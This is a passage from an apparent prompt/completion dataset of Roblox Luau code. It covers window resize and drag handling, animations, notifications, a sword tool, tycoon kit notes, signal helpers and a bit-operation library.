client.Variables.MouseLockedBy) or client.Variables.MouseLockedBy == gTable then\n\t\t\t\tif inFrame and newIcon then\n\t\t\t\t\tMouse.Icon = newIcon\n\t\t\t\t\tclient.Variables.MouseLockedBy = gTable\n\t\t\t\telseif client.Variables.MouseLockedBy == gTable then\n\t\t\t\t\tMouse.Icon = curIcon\n\t\t\t\t\tclient.Variables.MouseLockedBy = nil\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\n\t\tlocal function inputStart(x, y)\n\t\t\tcheckMouse(x, y)\n\t\t\tif gTable.Active and inFrame and not Resizing and not isInFrame(x, y, ScrollFrame) and not isInFrame(x, y, Drag) then\n\t\t\t\tResizing = inFrame\n\t\t\t\tstartXPos = Drag.AbsolutePosition.X\n\t\t\t\tstartYPos = Drag.AbsolutePosition.Y\n\t\t\t\tstartXSize = Drag.AbsoluteSize.X\n\t\t\t\tstartYSize = Main.AbsoluteSize.Y\n\t\t\tend\n\t\tend\n\n\t\tlocal function inputEnd()\n\t\t\tif gTable.Active then\n\t\t\t\tif Resizing and onResize then\n\t\t\t\t\tonResize(UDim2.new(Drag.Size.X.Scale, Drag.Size.X.Offset, Main.Size.Y.Scale, Main.Size.Y.Offset))\n\t\t\t\tend\n\n\t\t\t\tResizing = nil\n\t\t\t\tMouse.Icon = curIcon\n\t\t\t\t--DragEnabled = true\n\t\t\t\t--if Walls then\n\t\t\t\t--\twallPosition()\n\t\t\t\t--end\n\t\t\tend\n\t\tend\n\n\t\tlocal function inputMoved(x, y)\n\t\t\tif gTable.Active then\n\t\t\t\tif Mouse.Icon ~= MouseIcons.TopRight and Mouse.Icon ~= MouseIcons.TopLeft and Mouse.Icon ~= MouseIcons.RightCorner and Mouse.Icon ~= MouseIcons.LeftCorner and Mouse.Icon ~= MouseIcons.Horizontal and Mouse.Icon ~= MouseIcons.Vertical then\n\t\t\t\t\tcurIcon = Mouse.Icon\n\t\t\t\tend\n\n\t\t\t\tif Resizing then\n\t\t\t\t\tlocal moveX = false\n\t\t\t\t\tlocal moveY = false\n\t\t\t\t\tlocal newPos = Drag.Position\n\t\t\t\t\tlocal xPos, yPos = x, y\n\t\t\t\t\tlocal newX, newY = startXSize, startYSize\n\n\t\t\t\t\t--DragEnabled = false\n\n\t\t\t\t\tif Resizing == \"TopRight\" then\n\t\t\t\t\t\tnewX = (xPos - startXPos) + 3\n\t\t\t\t\t\tnewY = (startYPos - yPos) + startYSize -1\n\t\t\t\t\t\tmoveY = true\n\t\t\t\t\telseif Resizing == \"TopLeft\" then\n\t\t\t\t\t\tnewX = (startXPos - xPos) + startXSize -1\n\t\t\t\t\t\tnewY = (startYPos - yPos) + startYSize -1\n\t\t\t\t\t\tmoveY = true\n\t\t\t\t\t\tmoveX = true\n\t\t\t\t\telseif Resizing == \"RightCorner\" then\n\t\t\t\t\t\tnewX = (xPos - startXPos) + 3\n\t\t\t\t\t\tnewY = (yPos - startYPos) + 3\n\t\t\t\t\telseif Resizing == \"LeftCorner\" then\n\t\t\t\t\t\tnewX = (startXPos - xPos) + startXSize + 3\n\t\t\t\t\t\tnewY = (yPos - startYPos) + 3\n\t\t\t\t\t\tmoveX = true\n\t\t\t\t\telseif Resizing == \"LeftSide\" then\n\t\t\t\t\t\tnewX = (startXPos - xPos) + startXSize + 3\n\t\t\t\t\t\tnewY = startYSize\n\t\t\t\t\t\tmoveX = true\n\t\t\t\t\telseif Resizing == \"RightSide\" then\n\t\t\t\t\t\tnewX = (xPos - startXPos) + 3\n\t\t\t\t\t\tnewY = startYSize\n\t\t\t\t\telseif Resizing == \"Bottom\" then\n\t\t\t\t\t\tnewX = startXSize\n\t\t\t\t\t\tnewY = (yPos - startYPos) + 3\n\t\t\t\t\telseif Resizing == \"Top\" then\n\t\t\t\t\t\tnewX = startXSize\n\t\t\t\t\t\tnewY = (startYPos - yPos) + startYSize - 1\n\t\t\t\t\t\tmoveY = true\n\t\t\t\t\tend\n\n\t\t\t\t\tif newX < MinSize[1] then newX = MinSize[1] end\n\t\t\t\t\tif newY < MinSize[2] then newY = MinSize[2] end\n\t\t\t\t\tif newX > MaxSize[1] then newX = MaxSize[1] end\n\t\t\t\t\tif newY > MaxSize[2] then newY = MaxSize[2] end\n\n\t\t\t\t\tif moveX then\n\t\t\t\t\t\tnewPos = UDim2.new(0, (startXPos+startXSize)-newX, newPos.Y.Scale, newPos.Y.Offset)\n\t\t\t\t\tend\n\n\t\t\t\t\tif moveY then\n\t\t\t\t\t\tnewPos = UDim2.new(newPos.X.Scale, newPos.X.Offset, 0, (startYPos+startYSize)-newY)\n\t\t\t\t\tend\n\n\t\t\t\t\tDrag.Position = newPos\n\t\t\t\t\tDrag.Size = UDim2.new(0, newX, Drag.Size.Y.Scale, Drag.Size.Y.Offset)\n\t\t\t\t\tMain.Size = UDim2.new(Main.Size.X.Scale, Main.Size.X.Offset, 0, newY)\n\n\t\t\t\t\tif not Titlef.TextFits then\n\t\t\t\t\t\tTitlef.Visible = false\n\t\t\t\t\telse\n\t\t\t\t\t\tTitlef.Visible = true\n\t\t\t\t\tend\n\t\t\t\telse\n\t\t\t\t\tcheckMouse(x, y)\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\n\t\tEvent(InputService.InputBegan, function(input, gameHandled)\n\t\t\tif not gameHandled and (input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch) then\n\t\t\t\tlocal Position = input.Position\n\t\t\t\tinputStart(Position.X, Position.Y)\n\t\t\tend\n\t\tend)\n\n\t\tEvent(InputService.InputChanged, function(input, gameHandled)\n\t\t\tif input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then\n\t\t\t\tlocal Position = input.Position\n\t\t\t\tinputMoved(Position.X, Position.Y)\n\t\t\tend\n\t\tend)\n\n\t\tEvent(InputService.InputEnded, function(input, gameHandled)\n\t\t\tif input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then\n\t\t\t\tinputEnd()\n\t\t\tend\n\t\tend)\n\n\t\t--[[Event(Mouse.Button1Down, function()\n\t\t\tif gTable.Active and inFrame and not Resizing and not isInFrame(Mouse.X, Mouse.Y, ScrollFrame) and not isInFrame(Mouse.X, Mouse.Y, Drag) then\n\t\t\t\tResizing = inFrame\n\t\t\t\tstartXPos = Drag.AbsolutePosition.X\n\t\t\t\tstartYPos = Drag.AbsolutePosition.Y\n\t\t\t\tstartXSize = Drag.AbsoluteSize.X\n\t\t\t\tstartYSize = Main.AbsoluteSize.Y\n\t\t\t\tcheckMouse()\n\t\t\tend\n\t\tend)\n\n\t\tEvent(Mouse.Button1Up, function()\n\t\t\tif gTable.Active then\n\t\t\t\tif Resizing and onResize then\n\t\t\t\t\tonResize(UDim2.new(Drag.Size.X.Scale, Drag.Size.X.Offset, Main.Size.Y.Scale, Main.Size.Y.Offset))\n\t\t\t\tend\n\n\t\t\t\tResizing = nil\n\t\t\t\tMouse.Icon = curIcon\n\t\t\t\t--if Walls then\n\t\t\t\t--\twallPosition()\n\t\t\t\t--end\n\t\t\tend\n\t\tend)--]]\n\telse\n\t\tLeftSizeIcon.Visible = false\n\t\tRightSizeIcon.Visible = false\n\tend\n\n\n\tClose.MouseButton1Click:Connect(function() clickSound:Play() doClose() end)\n\tHide.MouseButton1Click:Connect(function() clickSound:Play() doHide() end)\n\n\tClose.MouseButton1Down:Connect(function() RippleEffect(Close) end)\n\tHide.MouseButton1Down:Connect(function() RippleEffect(Hide) end)\n\n\tgTable.CustomDestroy = function()\n\t\tservice.UnWrap(GUI):Destroy()\n\t\tif client.Variables.MouseLockedBy == gTable then\n\t\t\tMouse.Icon = curIcon\n\t\t\tclient.Variables.MouseLockedBy = nil\n\t\tend\n\n\t\tif not isClosed then\n\t\t\tisClosed = true\n\t\t\tif onClose then\n\t\t\t\tonClose()\n\t\t\tend\n\t\tend\n\tend\n\n\tfor i,child in GUI:GetChildren() do\n\t\tif child.Name ~= \"Desc\" and child.Name ~= \"Drag\" then\n\t\t\tspecialInsts[child.Name] = child\n\t\t\tchild.Parent = nil\n\t\tend\n\tend\n\n\t--// Drag & DisplayOrder Handler\n\tdo\n\t\tlocal windowValue = Instance.new(\"BoolValue\", GUI)\n\t\tlocal dragDragging = false\n\t\tlocal dragOffset\n\t\tlocal inFrame\n\n\t\twindowValue.Name = \"__ADONIS_WINDOW\"\n\n\t\tEvent(Main.InputBegan, function(input)\n\t\t\tif gTable.Active and (input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch) then\n\t\t\t\tBringToFront()\n\t\t\tend\n\t\tend)\n\n\t\tEvent(Drag.InputBegan, function(input)\n\t\t\tif gTable.Active then\n\t\t\t\tinFrame = true\n\n\t\t\t\tif input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then\n\t\t\t\t\tBringToFront()\n\t\t\t\tend\n\t\t\tend\n\t\tend)\n\n\t\tEvent(Drag.InputChanged, function(input)\n\t\t\tif gTable.Active then\n\t\t\t\tinFrame = true\n\t\t\tend\n\t\tend)\n\n\t\tEvent(Drag.InputEnded, function(input)\n\t\t\tinFrame = false\n\t\tend)\n\n\t\tEvent(InputService.InputBegan, function(input)\n\t\t\tif inFrame and GUI.DisplayOrder == 101 and not dragDragging and (input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch) then--isInFrame(input.Position.X, input.Position.Y, object) then\n\t\t\t\tdragDragging = true\n\t\t\t\tBringToFront()\n\t\t\t\tdragOffset = Vector2.new(Drag.AbsolutePosition.X - input.Position.X, Drag.AbsolutePosition.Y - input.Position.Y)\n\t\t\tend\n\t\tend)\n\n\t\tEvent(InputService.InputChanged, function(input)\n\t\t\tif dragDragging and (input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch) then\n\t\t\t\tDrag.Position = UDim2.new(0, dragOffset.X + input.Position.X, 0, dragOffset.Y + input.Position.Y)\n\t\t\tend\n\t\tend)\n\n\t\tEvent(InputService.InputEnded, function(input)\n\t\t\tif input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then\n\t\t\t\tdragDragging = false\n\t\t\tend\n\t\tend)\n\tend\n\n\t--// Finishing up\n\tlocal api = apiIfy(ScrollFrame, data)\n\tlocal meta = api:GetMetatable()\n\tlocal oldNewIndex = meta.__newindex\n\tlocal oldIndex = meta.__index\n\n\tcreate(\"ScrollingFrame\", nil, ScrollFrame)\n\tLoadChildren(api, Content)\n\n\tapi:SetSpecial(\"gTable\", gTable)\n\tapi:SetSpecial(\"Window\", GUI)\n\tapi:SetSpecial(\"Main\", Main)\n\tapi:SetSpecial(\"Title\", Titlef)\n\tapi:SetSpecial(\"Dragger\", Drag)\n\tapi:SetSpecial(\"Destroy\", doClose)\n\tapi:SetSpecial(\"Close\", doClose)\n\tapi:SetSpecial(\"Object\", ScrollFrame)\n\tapi:SetSpecial(\"Refresh\", DoRefresh)\n\tapi:SetSpecial(\"AddTitleButton\", function(ignore, data) if type(ignore) == \"table\" and not data then data = ignore end return addTitleButton(data) end)\n\tapi:SetSpecial(\"Ready\", function() if onReady then onReady() end gTable.Ready() BringToFront() end)\n\tapi:SetSpecial(\"BindEvent\", function(ignore, ...) Event(...) end)\n\tapi:SetSpecial(\"Hide\", function(ignore, hide) doHide(hide) end)\n\tapi:SetSpecial(\"SetTitle\", function(ignore, newTitle) Titlef.Text = newTitle end)\n\tapi:SetSpecial(\"SetPosition\", function(ignore, newPos) setPosition(newPos) end)\n\tapi:SetSpecial(\"SetSize\", function(ignore, newSize) setSize(newSize) end)\n\tapi:SetSpecial(\"GetPosition\", function() return Drag.AbsolutePosition end)\n\tapi:SetSpecial(\"GetSize\", function() return Main.AbsoluteSize end)\n\tapi:SetSpecial(\"IsVisible\", isVisible)\n\tapi:SetSpecial(\"IsClosed\", isClosed)\n\n\tmeta.__index = function(tab, ind)\n\t\tif ind == \"IsVisible\" then\n\t\t\treturn isVisible()\n\t\telseif ind == \"Closed\" then\n\t\t\treturn isClosed\n\t\telse\n\t\t\treturn oldIndex(tab, ind)\n\t\tend\n\tend\n\n\tsetSize(Size)\n\tsetPosition(Position)\n\n\tif Ready then\n\t\tgTable:Ready()\n\t\tBringToFront()\n\tend\n\n\treturn api,GUI\nend\n"} +{"prompt": "-- functions", "completion": "\n\nfunction stopAllAnimations()\n\tlocal oldAnim = currentAnim\n\n\t-- return to idle if finishing an emote\n\tif (emoteNames[oldAnim] ~= nil and emoteNames[oldAnim] == false) then\n\t\toldAnim = \"idle\"\n\tend\n\t\n\tif FFlagAnimateScriptEmoteHook and currentlyPlayingEmote then\n\t\toldAnim = \"idle\"\n\t\tcurrentlyPlayingEmote = false\n\tend\n\n\tcurrentAnim = \"\"\n\tcurrentAnimInstance = nil\n\tif (currentAnimKeyframeHandler ~= nil) then\n\t\tcurrentAnimKeyframeHandler:disconnect()\n\tend\n\n\tif (currentAnimTrack ~= nil) then\n\t\tcurrentAnimTrack:Stop()\n\t\tcurrentAnimTrack:Destroy()\n\t\tcurrentAnimTrack = nil\n\tend\n\n\t-- clean up walk if there is one"} +{"prompt": "--// All global vars will be wiped/replaced except script", "completion": "\n\nreturn function(data)\n\tlocal gui = script.Parent.Parent--client.UI.Prepare(script.Parent.Parent)\n\tlocal frame = gui.Frame\n\tlocal msg = frame.Message\n\tlocal ttl = frame.Title\n\tlocal ttlbg = frame.TitleBG\n\tlocal rmv = frame.ButtonRemove\n\t\n\tlocal gIndex = data.gIndex\n\tlocal gTable = data.gTable\n\t\n\tlocal title = data.Title\n\tlocal message = data.Message\n\tlocal scroll = data.Scroll\n\tlocal tim = data.Time\n\t\n\tlocal gone = false\n\t\n\tif not data.Message or not data.Title then gTable:Destroy() end\n\t\n\tttl.Text = \"\"\n\tmsg.Text = \"\"\n\t\n\tlocal function fadeIn()\n\t\tgTable:Ready()\n\t\tframe.Notify:Play()\n\t\tlocal Tween = game:GetService(\"TweenService\"):Create(frame,TweenInfo.new(0.5,Enum.EasingStyle.Bounce,Enum.EasingDirection.Out),{Position=UDim2.new(0.5,0,0.5,-18)})\n\t\tTween:Play()\n\t\tTween.Completed:Wait()\n\t\tttl.Text = title\n\t\tlocal Tween = game:GetService(\"TweenService\"):Create(frame,TweenInfo.new(0.5,Enum.EasingStyle.Quad,Enum.EasingDirection.InOut),{Size=UDim2.new(0,350,0,150)})\n\t\tTween:Play()\n\t\tTween.Completed:Wait()\n\t\tgame:GetService(\"TweenService\"):Create(ttl,TweenInfo.new(0.5,Enum.EasingStyle.Quad,Enum.EasingDirection.Out),{TextTransparency=0}):Play()\n\t\tgame:GetService(\"TweenService\"):Create(ttlbg,TweenInfo.new(0.5,Enum.EasingStyle.Quad,Enum.EasingDirection.Out),{BackgroundTransparency=0.5}):Play()\n\t\tlocal Tween = game:GetService(\"TweenService\"):Create(msg,TweenInfo.new(0.5,Enum.EasingStyle.Quad,Enum.EasingDirection.InOut),{BackgroundTransparency=0.5})\n\t\tTween:Play()\n\t\tTween.Completed:Wait()\n\t\tfor i = 1,#message,1 do\n\t\t\tmsg.Text = message:sub(1,i)\n\t\t\tgame:GetService(\"RunService\").Heartbeat:wait()\n\t\tend\n\t\twait(5)\n\t\tgame:GetService(\"TweenService\"):Create(rmv,TweenInfo.new(0.5,Enum.EasingStyle.Quad,Enum.EasingDirection.Out),{Position=UDim2.new(0.5,0,1,13)}):Play()\n\tend\n\t\n\tlocal function fadeOut()\n\t\tif not gone then\n\t\t\tgone = true\n\t\t\tlocal Tween = game:GetService(\"TweenService\"):Create(rmv,TweenInfo.new(0.5,Enum.EasingStyle.Quad,Enum.EasingDirection.In),{Position=UDim2.new(0.5,0,1,-100)})\n\t\t\tTween:Play()\n\t\t\tTween.Completed:Wait()\n\t\t\trmv.Visible=false\n\t\tgame:GetService(\"TweenService\"):Create(ttl,TweenInfo.new(0.5,Enum.EasingStyle.Quad,Enum.EasingDirection.Out),{TextTransparency=1}):Play()\n\t\tgame:GetService(\"TweenService\"):Create(ttlbg,TweenInfo.new(0.5,Enum.EasingStyle.Quad,Enum.EasingDirection.Out),{BackgroundTransparency=1}):Play()\n\t\t\tfor i = #tostring(message),1,-1 do\n\t\t\t\tmsg.Text = message:sub(1,i)\n\t\t\t\tgame:GetService(\"RunService\").Heartbeat:wait()\n\t\t\tend\n\t\t\tmsg.Text = \"\"\n\t\t\tlocal Tween = game:GetService(\"TweenService\"):Create(msg,TweenInfo.new(0.5,Enum.EasingStyle.Quad,Enum.EasingDirection.InOut),{BackgroundTransparency=1})\n\t\t\tTween:Play()\n\t\t\tTween.Completed:Wait()\n\t\t\tlocal Tween = game:GetService(\"TweenService\"):Create(frame,TweenInfo.new(0.5,Enum.EasingStyle.Quad,Enum.EasingDirection.InOut),{Size=UDim2.new(0,64,0,64)})\n\t\t\tTween:Play()\n\t\t\tTween.Completed:Wait()\n\t\t\tlocal Tween = game:GetService(\"TweenService\"):Create(frame,TweenInfo.new(0.5,Enum.EasingStyle.Bounce,Enum.EasingDirection.Out),{Position=UDim2.new(0.5,0,0,-100)})\n\t\t\tTween:Play()\n\t\t\tTween.Completed:Wait()\n\t\t\tservice.UnWrap(gui):Destroy()\n\t\tend\n\tend\n\t\n\tgTable.CustomDestroy = function()\n\t\tfadeOut()\n\tend\n\t\n\tfadeIn()\n\trmv.Visible=true\n\trmv.MouseButton1Click:wait()\n\tif not gone then\n\t\tfadeOut()\n\tend\nend\n"} +{"prompt": "-- Connect custom logic for the explosion", "completion": "\nexplosion.Hit:Connect(function(hitPart, hitDistance) OnExplosionHit(hitPart, hitDistance, explosion.Position) end)\n\n"} +{"prompt": "--Horn Sound Code, Metrotren", "completion": "\nm1=script.Parent.StartHorn\nm2=script.Parent.HornSound"} +{"prompt": "-------- OMG HAX", "completion": "\n\nr = game:service(\"RunService\")\n\n\nlocal damage = 20\n\n\nlocal slash_damage = 16\nlocal lunge_damage = 32\n\nsword = script.Parent.Handle\nTool = script.Parent\n\n\nlocal SlashSound = Instance.new(\"Sound\")\nSlashSound.SoundId = \"rbxasset://sounds\\\\swordslash.wav\"\nSlashSound.Parent = sword\nSlashSound.Volume = .7\n\nlocal LungeSound = Instance.new(\"Sound\")\nLungeSound.SoundId = \"rbxasset://sounds\\\\swordlunge.wav\"\nLungeSound.Parent = sword\nLungeSound.Volume = .6\n\nlocal UnsheathSound = Instance.new(\"Sound\")\nUnsheathSound.SoundId = \"rbxasset://sounds\\\\unsheath.wav\"\nUnsheathSound.Parent = sword\nUnsheathSound.Volume = 1\n\nfunction DarkKill(character, humanoid, attacker)\n\n\tif (character:FindFirstChild(\"ForceField\") ~= nil) then return end\n\n\tlocal childs = character:GetChildren()\n\n\tlocal colors = {}\n\n\ttagHumanoid(humanoid, attacker)\n\thumanoid.Health = 0\n\n\tfor i=1,#childs do\n\t\tif (childs[i].className == \"Part\") then\n\t\t\tcolors[i] = childs[i].BrickColor\n\t\t\tchilds[i].BrickColor = BrickColor.new(26)\n\t\t\tchilds[i].CanCollide = true\n\t\t\tchilds[i].Anchored = true\n\t\tend\n\tend\n\n\twait(.25)\n\t\n\tfor i=1,#childs do\n\t\tif (childs[i].className == \"Part\") then\n\t\t\tlocal b = Instance.new(\"BodyVelocity\")\n\t\t\tb.velocity = Vector3.new(math.random() - .5, 0, math.random() - .5).unit * 80\n\t\t\tb.maxForce = Vector3.new(1e5,1e5,1e5)\n\t\t\tb.Parent = childs[i]\n\t\tend\n\tend\n\n\tfor i=1,#childs do\n\t\tif (childs[i].className == \"Part\") then\n\t\t\tchilds[i].Anchored = false\n\t\tend\n\tend\n\n\t\n\t\n\n\t\n\n\n\nend\n\n\n\n\nfunction blow(hit)\n\tlocal humanoid = hit.Parent:findFirstChild(\"Humanoid\")\n\tlocal vCharacter = Tool.Parent\n\tlocal vPlayer = game.Players:playerFromCharacter(vCharacter)\n\tlocal hum = vCharacter:findFirstChild(\"Humanoid\") -- non-nil if tool held by a character\n\tif humanoid~=nil and humanoid ~= hum and hum ~= nil then\n\t\t-- final check, make sure sword is in-hand\n\n\t\tlocal right_arm = vCharacter:FindFirstChild(\"Right Arm\")\n\t\tif (right_arm ~= nil) then\n\t\t\tlocal joint = right_arm:FindFirstChild(\"RightGrip\")\n\t\t\tif (joint ~= nil and (joint.Part0 == sword or joint.Part1 == sword)) then\n\t\t\t\thum.Health = hum.Health + (damage * .4)\n\t\t\t\tif humanoid.Health > damage then\n\t\t\t\t\ttagHumanoid(humanoid, vPlayer)\n\t\t\t\t\thumanoid:TakeDamage(damage)\n\t\t\t\telse\n\t\t\t\t\tDarkKill(humanoid.Parent, humanoid, vPlayer)\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\n\n\tend\nend\n\n\n\nfunction tagHumanoid(humanoid, player)\n\tlocal creator_tag = Instance.new(\"ObjectValue\")\n\tcreator_tag.Value = player\n\tcreator_tag.Name = \"creator\"\n\tcreator_tag.Parent = humanoid\n\tgame.Debris:AddItem(creator_tag, 1)\nend\n\n\n\n\nfunction attack()\n\tdamage = slash_damage\n\tSlashSound:play()\n\tlocal anim = Instance.new(\"StringValue\")\n\tanim.Name = \"toolanim\"\n\tanim.Value = \"Slash\"\n\tanim.Parent = Tool\nend\n\nfunction lunge()\n\tdamage = lunge_damage\n\n\tLungeSound:play()\n\n\tlocal anim = Instance.new(\"StringValue\")\n\tanim.Name = \"toolanim\"\n\tanim.Value = \"Lunge\"\n\tanim.Parent = Tool\n\t\n\t\n\tlocal force = Instance.new(\"BodyVelocity\")\n\tforce.velocity = Vector3.new(0,10,0) --Tool.Parent.Torso.CFrame.lookVector * 80\n\tforce.Parent = Tool.Parent.Torso\n\twait(.25)\n\tswordOut()\n\twait(.25)\n\tforce.Parent = nil\n\twait(.5)\n\tswordUp()\n\n\tdamage = slash_damage\nend\n\nfunction swordUp()\n\tTool.GripForward = Vector3.new(-1,0,0)\n\tTool.GripRight = Vector3.new(0,1,0)\n\tTool.GripUp = Vector3.new(0,0,1)\nend\n\nfunction swordOut()\n\tTool.GripForward = Vector3.new(0,0,1)\n\tTool.GripRight = Vector3.new(0,-1,0)\n\tTool.GripUp = Vector3.new(-1,0,0)\nend\n\nfunction swordAcross()\n\t-- parry\nend\n\n\nTool.Enabled = true\nlocal last_attack = 0\nfunction onActivated()\n\n\tif not Tool.Enabled then\n\t\treturn\n\tend\n\n\tTool.Enabled = false\n\n\tlocal character = Tool.Parent;\n\tlocal humanoid = character.Humanoid\n\tif humanoid == nil then\n\t\tprint(\"Humanoid not found\")\n\t\treturn \n\tend\n\n\tt = r.Stepped:wait()\n\n\tif (t - last_attack < .2) then\n\t\tlunge()\n\telse\n\t\tattack()\n\tend\n\n\tlast_attack = t\n\n\t--wait(.5)\n\n\tTool.Enabled = true\nend\n\n\nfunction onEquipped()\n\tUnsheathSound:play()\nend\n\n\nscript.Parent.Activated:connect(onActivated)\nscript.Parent.Equipped:connect(onEquipped)\n\n\nconnection = sword.Touched:connect(blow)\n\n\n"} +{"prompt": "--!strict", "completion": "\nlocal LuauPolyfill = script.Parent.Parent\nlocal types = require(LuauPolyfill.types)\ntype Array = types.Array\ntype Object = types.Object\n"} +{"prompt": "--workspace.CurrentCamera.CoordinateFrame.LookVector \n--root.CFrame.LookVector", "completion": "\nmodule.LookToMonster = function(Monster)\n\tchar.Head.CFrame = CFrame.lookAt(char.Head.Position,Monster.HumanoidRootPart.Position)\n\n\tgame:GetService(\"TweenService\"):Create(workspace.CurrentCamera,TweenInfo.new(0.25),{CFrame = char.Head.CFrame}):Play()\nend\n\nreturn module\n"} +{"prompt": "--[[\n\tThank you for using Zednov's Tycoon Kit!\n\tThis kit has countless options for you to choose from, fear not I have listed them all below\n\t-Dev Product buttons are here! Require players to purchase a dev product to get the dropper/upgrader/etc.\n\t-Gamepass buttons are here! Require players to own a gamepass to get a dropper/upgrader/etc.\n\t-Everything berezaa's Tyccon kit has! No need to learn a whole new way to build tycoons!\n\t-Choose how your leaderboard looks! Choose how players play your tycoon!\n\t-Choose if players can steal other player's loot! (If you allow them to steal loot, add a precent they can steal and the time it takes to cooldown steal time)\n\t-Choose if there will be multiple currencies! Get creative!\n\t-We also provide a script which will take any valid tycoon you've built with berezaa's tycoon and transfer it over to be compatiable with ours!\n\t-We have sounds to give a more fun experience! Change your sounds to your liking!\n\t\n\t\n\t\n\tPlease note that if the tycoon doesn't work, it's probably because you have made a typo in one of the purchase\n\tbuttons or that you made a typo in the object being purchased so like you might've spelt Droper1 instead of Dropper1.\n\tTest out the tycoon every few buttons you make so you catch the mistake before advancing and having lots of buttons\n\tto look through.\n\t\n\tNOTE:\n\tIf you plan to add devproducts in a game your using this kit in, you will need to edit the current script labeled \"DevProductHandler\"\n\tIf you have two scripts that handle devproducts, both scripts will not work which is why you will need to merge with the provided one.\n\tAll the settings are in the ModuleScript called 'Settings'\n\tWe have provided a script below to change your berezaa built tycoon into the new improved Zednov Tycoon Kit :)\n--]]", "completion": "\n"} +{"prompt": "-------------------------------------------------------------------------------------------------------", "completion": "\n for i = 1,3 do\n plr.Torso.Neck.C1 = plr.Torso.Neck.C1 * CFrame.Angles(0.005,0,0.005)\n wait(0.05)\n plr.Torso[\"Left Hip\"].C1 = plr.Torso[\"Left Hip\"].C1 * CFrame.Angles(0,0,0.005)\n plr.Torso[\"Right Hip\"].C1 = plr.Torso[\"Right Hip\"].C1 * CFrame.Angles(0,0,0.005)\n plr = game.Players.LocalPlayer.Character\n plr.Torso[\"Right Shoulder\"].C1 = plr.Torso[\"Right Shoulder\"].C1 * CFrame.new(0,-0.025,0)\n plr.Torso[\"Left Shoulder\"].C1 = plr.Torso[\"Left Shoulder\"].C1 * CFrame.new(0,-0.025,0)\n \nend\nfor i = 1,2 do\n plr.Torso[\"Right Hip\"].C1 = plr.Torso[\"Right Hip\"].C1 * CFrame.Angles(0,0,0.005)\n plr.Torso.Neck.C1 = plr.Torso.Neck.C1 * CFrame.Angles(0.005,0,0.005)\n wait(0.05)\n plr.Torso[\"Left Hip\"].C1 = plr.Torso[\"Left Hip\"].C1 * CFrame.Angles(0,0,0.005)\n plr = game.Players.LocalPlayer.Character\n plr.Torso[\"Right Shoulder\"].C1 = plr.Torso[\"Right Shoulder\"].C1 * CFrame.new(0,-0.02,0)\n plr.Torso[\"Left Shoulder\"].C1 = plr.Torso[\"Left Shoulder\"].C1 * CFrame.new(0,-0.02,0)\n \nend\nfor i = 1,2 do\n plr.Torso[\"Right Hip\"].C1 = plr.Torso[\"Right Hip\"].C1 * CFrame.Angles(0,0,0.005)\n plr.Torso.Neck.C1 = plr.Torso.Neck.C1 * CFrame.Angles(0.005,0,0.005)\n wait(0.05)\n plr.Torso[\"Left Hip\"].C1 = plr.Torso[\"Left Hip\"].C1 * CFrame.Angles(0,0,0.005)\n plr = game.Players.LocalPlayer.Character\n plr.Torso[\"Right Shoulder\"].C1 = plr.Torso[\"Right Shoulder\"].C1 * CFrame.new(0,-0.01,0)\n plr.Torso[\"Left Shoulder\"].C1 = plr.Torso[\"Left Shoulder\"].C1 * CFrame.new(0,-0.01,0)\n \nend\nend\n"} +{"prompt": "--[=[\n\tConnects a handler to a ScriptSignal object, but only allows that\n\tconnection to run once. Any `:Fire` calls called afterwards won't trigger anything.\n\n\t```lua\n\tScriptSignal:ConnectOnce(function()\n\t\tprint(\"Connection fired\")\n\tend)\n\n\tScriptSignal:Fire()\n\tScriptSignal:Fire()\n\n\t-- \"Connection fired\" is only fired once\n\t```\n\n\t@param handler (...: any) -> ()\n\t@ignore\n]=]", "completion": "\nfunction ScriptSignal:ConnectOnce(handler: (...any) -> ())\n assert(typeof(handler) == \"function\", \"Must be function\")\n\n local connection\n connection = self:Connect(function(...)\n connection:Disconnect()\n handler(...)\n end)\nend\n"} +{"prompt": "--light setup!--", "completion": "\nlocal mod = pln:findFirstChild(\"Lights\")\nfor i,v in pairs(mod:GetChildren()) do \nmod:findFirstChild(\"FlashScript\").Disabled = true\nif(v.className == \"Part\") then \nif(v:findFirstChild(\"Gui\").Enabled == true) then \nv:findFirstChild(\"Gui\").Enabled = false\nend\nif(v:findFirstChild(\"Gui\").Adornee == nil) then \nv:findFirstChild(\"Gui\").Adornee = v:findFirstChild(\"Gui\").Parent\nend end end "} +{"prompt": "---Flip", "completion": "\nfunction Flip()\n\tif (car.DriveSeat.CFrame*CFrame.Angles(math.pi/2,0,0)).lookVector.y > .1 or FlipDB then\n\t\tFlipWait=tick()\n\telse\n\t\tif tick()-FlipWait>=3 then\n\t\t\tFlipDB=true\n\t\t\tlocal gyro = car.DriveSeat.Flip\n\t\t\tgyro.maxTorque = Vector3.new(10000,0,10000)\n\t\t\tgyro.P=3000\n\t\t\tgyro.D=500\n\t\t\twait(1)\n\t\t\tgyro.maxTorque = Vector3.new(0,0,0)\n\t\t\tgyro.P=0\n\t\t\tgyro.D=0\n\t\t\tFlipDB=false\n\t\tend\n\tend\nend\n"} +{"prompt": "--\n-- Start LuaBitOp \"bit\" compat section.\n--", "completion": "\n\nM.bit = {} -- LuaBitOp \"bit\" compatibility\n\nM.bit.bits = M.bits\n\nM.bit.cast = M.cast\n\nfunction M.bit.tobit(x)\n x = x % MOD\n if x >= 0x80000000 then x = x - MOD end\n return x\nend\nlocal bit_tobit = M.bit.tobit\n\nfunction M.bit.tohex(x, ...)\n return tohex(x % MOD, ...)\nend\n\nfunction M.bit.bnot(x)\n return bit_tobit(bnot(x % MOD))\nend\n\nlocal function bit_bor(a, b, c, ...)\n if c then\n return bit_bor(bit_bor(a, b), c, ...)\n elseif b then\n return bit_tobit(bor(a % MOD, b % MOD))\n else\n return bit_tobit(a)\n 